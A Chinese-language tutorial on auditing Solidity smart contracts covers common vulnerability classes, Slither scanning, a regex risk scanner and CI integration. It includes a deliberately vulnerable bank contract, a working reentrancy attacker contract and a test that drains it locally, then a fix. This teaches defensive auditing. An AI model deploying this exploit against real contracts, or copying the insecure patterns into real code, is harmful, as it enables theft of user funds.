区块链智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建
智能合约一旦部署,往往就很难“回头改”。这也是它和普通后端服务最不一样的地方:代码即资产入口,漏洞即真实损失。很多团队在开发阶段更关注功能能不能跑通,但真正到了主网前,才发现权限、重入、价格操纵、升级逻辑这些问题,任何一个都可能直接把项目送上安全事故复盘会。
这篇文章我会用一种偏实战的方式,带你从常见漏洞识别开始,一步步搭一个适合中级开发者和审计工程师使用的自动化检测流程。重点不是“背漏洞定义”,而是建立一个能真正落地的审计方法。
背景与问题
在智能合约安全审计里,最容易出现两个误区:
-
只看静态工具报告
- 工具能帮你发现一批模式化问题,但它不是最终结论。
- 很多高危漏洞,本质是“业务逻辑错误”,工具未必看得懂。
-
只做人工代码 review
- 人工审计能理解上下文,但效率低,容易遗漏重复性问题。
- 没有自动化流程时,回归验证也很痛苦。
所以更实际的做法是:人工分析 + 自动化检测 + 最小可复现验证 结合起来。
智能合约审计最常见的风险面
常见安全问题大致可以分成几类:
- 资金转移类
- 重入攻击
- 未检查返回值
- 错误的 ETH / Token 转账逻辑
- 权限控制类
onlyOwner缺失- 初始化可被任意调用
- 升级代理权限配置错误
- 状态一致性类
- 先外部调用后更新状态
- 整数边界与精度误差
- 存储槽冲突
- 经济模型类
- 价格预言机操纵
- 闪电贷攻击路径
- 奖励计算被刷取
- 可用性类
- DoS with revert
- gas 消耗不可控
- 死锁、资金冻结
前置知识
建议你至少熟悉以下内容再往下看:
- Solidity 基本语法
- ERC20 交互方式
- Hardhat 或 Foundry 的基本使用
- 常见 EVM 调用语义:
call、delegatecall、transfer
如果你是后端开发刚转 Web3,也没关系,本文会尽量用“代码是怎么出问题的”这种方式来讲,而不是只讲术语。
环境准备
本文示例用 Hardhat + Solidity + Slither,因为它们组合起来比较适合快速建立审计流水线。
安装依赖
mkdir contract-audit-demo
cd contract-audit-demo
npm init -y
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat
选择一个基础 JavaScript 项目即可。
安装 Python 工具 Slither:
python3 -m pip install slither-analyzer
如果你本机还没有 Solidity 编译器管理工具,也可以安装:
pip install solc-select
solc-select install 0.8.20
solc-select use 0.8.20
项目结构大致如下:
contract-audit-demo/
├─ contracts/
├─ scripts/
├─ test/
├─ hardhat.config.js
└─ package.json
核心原理
安全审计不是“抓 bug”,而是围绕以下几个问题展开:
- 谁能调用这个函数?
- 调用后哪些状态会变化?
- 有没有在状态稳定前发生外部交互?
- 资金流和控制流是否一致?
- 异常路径是否被正确处理?
我通常会把审计思路拆成三层:
- 语法层:危险函数、可见性、低级调用、事件遗漏
- 状态层:存储更新顺序、边界条件、权限状态机
- 业务层:价格来源、清算规则、奖励公式、升级策略
一个简化的审计流程图
flowchart TD
A[阅读协议文档/需求] --> B[梳理资产入口与权限边界]
B --> C[人工代码走读]
C --> D[静态分析工具扫描]
D --> E[编写PoC测试]
E --> F[修复与回归验证]
F --> G[形成审计结论]
人工审计关注点模型
classDiagram
class ContractAudit {
+Assets 资金资产
+Privilege 权限角色
+ExternalCall 外部调用
+StateChange 状态变更
+Invariant 核心不变量
}
class Assets {
+ETH
+ERC20
+NFT
}
class Privilege {
+owner
+admin
+operator
+proxyAdmin
}
class Invariant {
+余额守恒
+权限闭环
+可升级安全
+奖励不超发
}
ContractAudit --> Assets
ContractAudit --> Privilege
ContractAudit --> Invariant
从一个典型漏洞开始:重入攻击
先上一个有漏洞的合约。这个例子不新鲜,但它非常适合建立审计直觉:先转账,再更新状态,就是典型高危模式。
漏洞合约
新建 contracts/VulnerableBank.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient balance");
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] -= amount;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
问题在 withdraw:它先给 msg.sender 转账,再扣余额。如果接收方是恶意合约,就可以在 fallback / receive 中再次进入 withdraw。
攻击合约
新建 contracts/Attacker.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IVulnerableBank {
function deposit() external payable;
function withdraw(uint256 amount) external;
}
contract Attacker {
IVulnerableBank public bank;
address public owner;
constructor(address _bank) {
bank = IVulnerableBank(_bank);
owner = msg.sender;
}
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}
function attack() external payable {
require(msg.value >= 1 ether, "need 1 ether");
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
function collect() external {
require(msg.sender == owner, "not owner");
payable(owner).transfer(address(this).balance);
}
}
实战代码:本地复现与验证
下面我们用 Hardhat 写一个可运行测试,亲手把漏洞打出来。很多人审计时只停留在“这里可能有重入”,但真正的价值在于:你能不能快速做出 PoC 证明它确实可利用。
测试代码
新建 test/reentrancy.js:
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("VulnerableBank Reentrancy", function () {
it("should be drained by attacker", async function () {
const [deployer, user, attackerEOA] = await ethers.getSigners();
const Bank = await ethers.getContractFactory("VulnerableBank", deployer);
const bank = await Bank.deploy();
await bank.waitForDeployment();
await bank.connect(user).deposit({
value: ethers.parseEther("5"),
});
const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
const attacker = await Attacker.deploy(await bank.getAddress());
await attacker.waitForDeployment();
await attacker.connect(attackerEOA).attack({
value: ethers.parseEther("1"),
});
const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
const attackerBalance = await ethers.provider.getBalance(await attacker.getAddress());
expect(bankBalance).to.equal(0n);
expect(attackerBalance).to.be.greaterThan(ethers.parseEther("1"));
});
});
编译与测试
npx hardhat test
如果一切正常,你会看到测试通过,说明银行合约已被攻击合约抽干。
修复方案与验证
在 Solidity 里,重入问题常见修复方法有三类:
- Checks-Effects-Interactions 模式
- 重入锁
ReentrancyGuard - 尽量减少外部调用面
这里我们先用最基础也最重要的方法:先更新状态,再做外部调用。
修复后的合约
新建 contracts/SafeBank.sol:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract SafeBank {
mapping(address => uint256) public balances;
bool private locked;
modifier nonReentrant() {
require(!locked, "reentrant call");
locked = true;
_;
locked = false;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "insufficient balance");
balances[msg.sender] -= amount;
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
修复后的测试
新建 test/safeBank.js:
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("SafeBank", function () {
it("should block reentrancy attack", async function () {
const [deployer, user, attackerEOA] = await ethers.getSigners();
const Bank = await ethers.getContractFactory("SafeBank", deployer);
const bank = await Bank.deploy();
await bank.waitForDeployment();
await bank.connect(user).deposit({
value: ethers.parseEther("5"),
});
const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
const attacker = await Attacker.deploy(await bank.getAddress());
await attacker.waitForDeployment();
await expect(
attacker.connect(attackerEOA).attack({
value: ethers.parseEther("1"),
})
).to.be.reverted;
const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
expect(bankBalance).to.equal(ethers.parseEther("5"));
});
});
这一步非常关键:修复后要证明“漏洞利用路径被阻断”,而不是只是改了代码看起来更安全。
自动化检测流程搭建
到这里我们已经完成了人工识别 + PoC 复现。接下来进入真正适合团队落地的部分:自动化检测流程。
第一步:使用 Slither 做静态分析
在项目根目录运行:
slither .
对上面的 VulnerableBank,你通常能看到类似重入风险提示。静态分析的优势是:
- 快速
- 扫描面广
- 适合 CI 集成
但它的局限也很明显:
- 误报存在
- 逻辑漏洞识别弱
- 对复杂代理模式理解有限
第二步:定制化脚本扫描高风险模式
很多团队会直接停在 Slither,这其实不够。更实用的方法是增加一层规则化脚本,比如检查:
call{value: ...}是否存在- 是否使用
delegatecall - 是否有未受保护的
initialize - 是否存在
tx.origin - 是否缺少事件记录
新建 scripts/check-risk.js:
const fs = require("fs");
const path = require("path");
function walk(dir, files = []) {
const list = fs.readdirSync(dir);
for (const file of list) {
const full = path.join(dir, file);
const stat = fs.statSync(full);
if (stat.isDirectory()) {
walk(full, files);
} else if (full.endsWith(".sol")) {
files.push(full);
}
}
return files;
}
function scanFile(file) {
const content = fs.readFileSync(file, "utf8");
const rules = [
{ name: "low-level-call", regex: /\.call\{value:/g, level: "high" },
{ name: "delegatecall", regex: /delegatecall/g, level: "high" },
{ name: "tx-origin", regex: /tx\.origin/g, level: "medium" },
{ name: "selfdestruct", regex: /selfdestruct/g, level: "high" },
{ name: "block-timestamp", regex: /block\.timestamp/g, level: "low" },
];
const findings = [];
for (const rule of rules) {
const matches = content.match(rule.regex);
if (matches) {
findings.push({
file,
rule: rule.name,
level: rule.level,
count: matches.length,
});
}
}
return findings;
}
function main() {
const files = walk(path.join(__dirname, "..", "contracts"));
let all = [];
for (const file of files) {
all = all.concat(scanFile(file));
}
if (all.length === 0) {
console.log("No risky patterns found.");
return;
}
console.log("Risky patterns found:");
for (const item of all) {
console.log(
`[${item.level.toUpperCase()}] ${item.rule} in ${item.file}, count=${item.count}`
);
}
const hasHigh = all.some((x) => x.level === "high");
if (hasHigh) {
process.exitCode = 1;
}
}
main();
运行:
node scripts/check-risk.js
这个脚本很朴素,但很适合做团队“第一道门禁”。我自己在项目里就常这么干:先用便宜规则挡住低级错误,再把人工精力留给复杂逻辑。
在 CI 中接入自动化审计
如果你们使用 GitHub Actions,可以在每次提交时自动跑测试和扫描。
新建 .github/workflows/audit.yml:
name: Contract Audit Checks
on:
push:
branches: [ main ]
pull_request:
branches: [ main ]
jobs:
audit:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Setup Node.js
uses: actions/setup-node@v3
with:
node-version: 18
- name: Setup Python
uses: actions/setup-python@v4
with:
python-version: "3.10"
- name: Install Node dependencies
run: npm install
- name: Install Slither
run: pip install slither-analyzer
- name: Run Hardhat tests
run: npx hardhat test
- name: Run custom risk scanner
run: node scripts/check-risk.js
- name: Run Slither
run: slither .
自动化检测流程示意
sequenceDiagram
participant Dev as 开发者
participant Git as Git仓库
participant CI as CI流水线
participant Tool as Slither/脚本/测试
participant Reviewer as 审计人员
Dev->>Git: 提交合约代码
Git->>CI: 触发工作流
CI->>Tool: 编译、测试、静态扫描
Tool-->>CI: 输出风险报告
CI-->>Reviewer: 高风险项告警
Reviewer-->>Git: 审查与修复建议
常见漏洞识别清单
除了重入,下面这些问题在实战里也很高频。
1. 权限控制缺失
典型问题:
- 管理函数未加
onlyOwner - 升级函数未受限
- 初始化函数可重复调用
示例危险代码:
function setAdmin(address newAdmin) external {
admin = newAdmin;
}
审计时要问:
- 谁都能调吗?
- 角色切换是否需要两步确认?
- 管理员是否能直接转走用户资产?
2. tx.origin 鉴权
错误示例:
require(tx.origin == owner, "not owner");
风险在于中间合约可诱导用户发起交易,绕过预期鉴权模型。应使用 msg.sender。
3. 未检查外部调用返回值
虽然 Solidity 高版本很多地方更安全了,但低级调用依然需要手动处理。
(bool ok, ) = target.call(data);
require(ok, "call failed");
如果你忽略返回值,逻辑可能会“以为成功了”,实际状态却不一致。
4. DoS with revert
典型场景是批量转账、批量结算:
for (uint256 i = 0; i < users.length; i++) {
payable(users[i]).transfer(rewards[i]);
}
只要其中一个地址接收失败,整个交易都会回滚。解决思路通常是:
- 改为用户自己领取
- 用可跳过失败的结算策略
- 分批处理,限制单次 gas
5. 价格预言机依赖过于单一
DeFi 项目里,这类问题比语法漏洞更致命。比如直接使用某个 DEX 瞬时价格作为清算依据,非常容易被闪电贷操纵。
审计时关注:
- 是否使用 TWAP
- 是否有价格上下限保护
- 关键操作是否使用多源预言机
常见坑与排查
这一段我尽量写得接地气一点,因为很多问题不是“不会”,而是“工具和环境让你误判”。
坑 1:测试没复现漏洞,不代表没问题
常见原因:
- 攻击合约
receive()没写对 - 触发条件不足,比如银行余额不够
- 使用了错误的 signer
- revert 被测试框架吞掉了
排查建议:
console.log("bank:", await ethers.provider.getBalance(await bank.getAddress()));
console.log("attacker:", await ethers.provider.getBalance(await attacker.getAddress()));
同时用 await expect(tx).to.be.revertedWith(...) 明确断言。
坑 2:Slither 报了一堆问题,但很多像误报
这是正常现象。静态工具更像“风险雷达”,不是“安全法官”。
排查思路:
- 先按 high / medium 分级
- 结合业务上下文判断是否可利用
- 对真正可疑点补 PoC
一个简单原则:工具报告不能直接当结论,但必须有处理记录。
坑 3:代理合约审计只看实现合约
这是我见过非常常见的失误。代理模式下,真正的风险可能出在:
initialize重复初始化- 存储槽布局不一致
- 升级权限可被劫持
- 代理管理员与业务管理员混用
如果是可升级合约,请把以下几个文件一起看:
- Proxy
- Implementation
- Admin / Upgrade 管理逻辑
- 部署脚本
坑 4:以为 OpenZeppelin 就等于绝对安全
OpenZeppelin 当然很优秀,但“用了库”不等于“没有漏洞”。实战中真正出问题的常常是:
- 库用法错了
- 多继承顺序错了
- 自定义逻辑绕过了库的保护
- 升级版合约存储布局被破坏
逐步验证清单
如果你要把审计流程真正跑起来,我建议每个合约至少过一遍下面这份检查表。
基础检查
- 编译器版本固定
- 关键函数有事件
- 可见性声明完整
- 错误信息可读
- 使用最新稳定依赖
权限检查
- 管理函数有限制
- 初始化函数不可重复调用
- 紧急暂停权限边界清晰
- 升级权限多签或延迟执行
资金检查
- 转账前后状态一致
- 外部调用后果可控
- 不存在意外资金冻结路径
- 提现逻辑支持失败恢复
业务逻辑检查
- 核心公式边界已测试
- 奖励/清算无超发路径
- 预言机依赖可信
- 非预期套利路径已评估
自动化检查
- 单元测试通过
- 关键攻击路径有 PoC
- Slither 报告已审阅
- 自定义规则扫描已接入 CI
安全/性能最佳实践
安全和性能在智能合约里经常是一起讨论的,因为 gas 成本高、回滚代价大,结构设计很关键。
1. 优先使用拉取式资金领取
相比“项目方主动给所有人发钱”,更推荐“用户自行领取奖励”。
优点:
- 降低 DoS 风险
- 避免批量循环 gas 爆炸
- 更容易做权限隔离
2. 遵循 Checks-Effects-Interactions
这是老原则,但永远不过时:
- 先检查条件
- 再更新内部状态
- 最后做外部调用
只要你看到“外部调用在前,状态更新在后”,就该立刻警觉。
3. 对高风险操作加断言与事件
例如升级、管理员变更、大额参数调整,都应该:
- 发事件
- 做范围校验
- 必要时加延迟执行
事件不是摆设,很多时候事故排查全靠它。
4. 不要过度依赖单一工具
推荐一个比较实用的组合思路:
- Hardhat/Foundry:测试与 PoC
- Slither:静态扫描
- 自定义规则脚本:团队规范门禁
- 人工 review:业务逻辑与经济模型分析
5. 对“升级性”单独做审计
可升级合约的风险面明显大于不可升级合约。要特别检查:
initializer/reinitializer- 存储布局兼容性
delegatecall范围- 升级管理员权限
升级合约的状态关注图
stateDiagram-v2
[*] --> Uninitialized
Uninitialized --> Initialized: initialize()
Initialized --> Upgraded: upgradeTo()
Upgraded --> Reinitialized: reinitializer()
Initialized --> Paused: pause()
Paused --> Initialized: unpause()
如果状态机本身设计混乱,后面出问题基本只是时间问题。
一个适合团队落地的审计策略
如果你的团队人不多,不可能每次都做“全量深度审计”,那我建议按成本分层:
日常开发阶段
- 写单元测试
- 接入基础脚本扫描
- 每次 PR 跑 Slither
提测前
- 做一次人工权限和资金流走查
- 补齐攻击 PoC
- 审核部署脚本和初始化参数
上主网前
- 做完整审计 checklist
- 核心路径双人复核
- 升级权限改为多签
- 准备紧急暂停与告警机制
这个分层方案不花哨,但非常实用。安全建设真正难的,不是“知道很多漏洞名词”,而是让流程足够稳定,避免同一种低级错误反复出现。
总结
智能合约安全审计最重要的不是记住多少漏洞,而是形成一套稳定的方法:
- 先看资产入口和权限边界
- 再查状态变化与外部调用顺序
- 用 PoC 验证可利用性
- 用静态分析和 CI 做自动化兜底
- 对业务逻辑和升级逻辑额外提高警惕
如果你现在就想开始实践,可以按这个最小闭环来做:
- 选一个已有合约
- 手工找一类高危漏洞,比如重入或权限缺失
- 写测试复现
- 用 Slither 扫一遍
- 把检测接入 CI
这样走一轮,你对“审计”这件事的理解会比只看报告深很多。
最后给一个很实际的边界提醒:自动化工具能提高下限,但不能替代人工判断;人工经验能识别复杂问题,但没有流程就无法规模化。 把两者结合起来,才是智能合约安全审计真正可落地的方式。